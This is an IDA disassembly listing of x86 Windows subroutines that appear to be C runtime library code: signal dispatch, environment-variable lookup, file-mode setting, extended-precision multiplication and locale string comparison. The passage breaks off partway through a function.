		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB5AC
		mov	eax, offset dword_4DB5AC
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB5A8
		mov	eax, offset dword_4DB5A8
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB5B0
		mov	eax, offset dword_4DB5B0
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB5A4
		mov	eax, offset dword_4DB5A4

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB380
		and	dword_4DB380, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C97C
		mov	dword_43C97C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C970
		mov	ecx, dword_43C974
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C900h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C97C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB380, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C97C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8FC, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC950, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2D8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2D0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB2A8, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB2A8, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDF8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF58
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC704
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC924
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2D8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB5B8, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB5B8, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE5C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25D06E7h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB5B8, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB5B8
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D06E7h
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2D0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2D4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
